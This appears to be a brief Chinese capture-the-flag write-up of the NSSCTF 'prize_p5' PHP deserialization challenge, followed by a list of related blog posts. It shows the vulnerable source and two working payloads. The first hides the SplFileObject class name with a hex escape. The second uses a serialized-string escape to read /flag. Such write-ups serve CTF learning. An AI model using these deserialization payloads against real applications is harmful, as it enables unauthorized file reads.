NSSCTF prize

源码

<?php
error_reporting(0);class catalogue{public $class;public $data;public function __construct(){$this->class = "error";$this->data = "hacker";}public function __destruct(){echo new $this->class($this->data);}
}
class error{public function __construct($OTL){$this->OTL = $OTL;echo ("hello ".$this->OTL);}
}
class escape{                                                                   public $name = 'OTL';                                                 public $phone = '123666';                                             public $email = 'sweet@OTL.com';
}
function abscond($string) {$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');$filter = '/' . implode('|', $filter) . '/i';return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){if(!preg_match('/object/i',$_GET['cata'])){unserialize($_GET['cata']);}else{$cc = new catalogue(); unserialize(serialize($cc));           }    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){if (preg_match("/flag/i",$_POST['email'])){die("nonono,you can not do that!");}$abscond = new escape();$abscond->name = $_POST['name'];$abscond->phone = $_POST['phone'];$abscond->email = $_POST['email'];$abscond = serialize($abscond);$escape = get_object_vars(unserialize(abscond($abscond)));if(is_array($escape['phone'])){echo base64_encode(file_get_contents($escape['email']));}else{echo "I'm sorry to tell you that you are wrong";}}
}
else{highlight_file(__FILE__);
}
?>

类名可使用\十六进制字符绕过

?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}

字符串逃逸：

?cata=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}
ctf...hello换成hacker少了53个字符串，后面补充，从";开始到最后的}一共53个

NSSCTF prize_p5相关推荐

NSSCTF prize_p4-5
prize_p4 打开后发现一个url和data登录框,随便输入一下看一看是啥. 发现了一个得到key的方法. @app.route('/getkey', methods=["GET&quo ...
NSSCTF部分复现
NSSCTF WEB ez_rce 看版本,百度一下有目录穿越漏洞 Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用_Tauil的博客-CSDN博客构造payload 这里 ...
NSSCTF web题记录
目录 web [GXYCTF 2019]BabyUpload [NISACTF 2022]babyserialize [NISACTF 2022]popchains [NSSRound#4 SWPU] ...
NSSCTF web学习
目录 [CISCN 2019华东南]Web11 [NISACTF 2022]bingdundun~ [NISACTF 2022]babyserialize [NISACTF 2022]join-us ...
[NSSCTF][SCTF 2021]WEB复现
感谢NSSCTF提供复现环境 loginme middleware.go package middlewareimport ("github.com/gin-gonic/gin" ...
NSSCTF刷题wp——Crypto入门
NSSCCTF Crypto 探索 Crypto入门 [鹤城杯 2021]easy_crypto ID:453 公正公正公正诚信文明公正民主公正法治法治诚信民主自由敬业公正友善公正平等平等法治民主平等 ...
NSSCTF刷题wp——单表替换密码
NSSCTF Crypto 模块单表替换密码 [HGAME 2022 week1]Matryoshka ID:1855 打开Matryoshka.txt,发现是一堆点,看标签可能是Braille盲文 ...
NSSCTF刷题wp——常用编码
NSSCTF Crypto 探索常用编码前两个题ID303,287在入门时做过了,详见另一篇wp链接 [AFCTF 2018]BASE ID:463 打开文件直接麻了,如果人工解码,估计黄花菜都要 ...
[NSSCTF 2022 Spring Recruit] Crypto wp
[NSSCTF 2022 Spring Recruit] Crypto wp classic 题目 UZZJAM{UIXETGR7TMWD42SKTCWEP4AG_mhrlmshnayfihzl} 第 ...

NSSCTF prize_p5

NSSCTF prize_p5相关推荐

最新文章

热门文章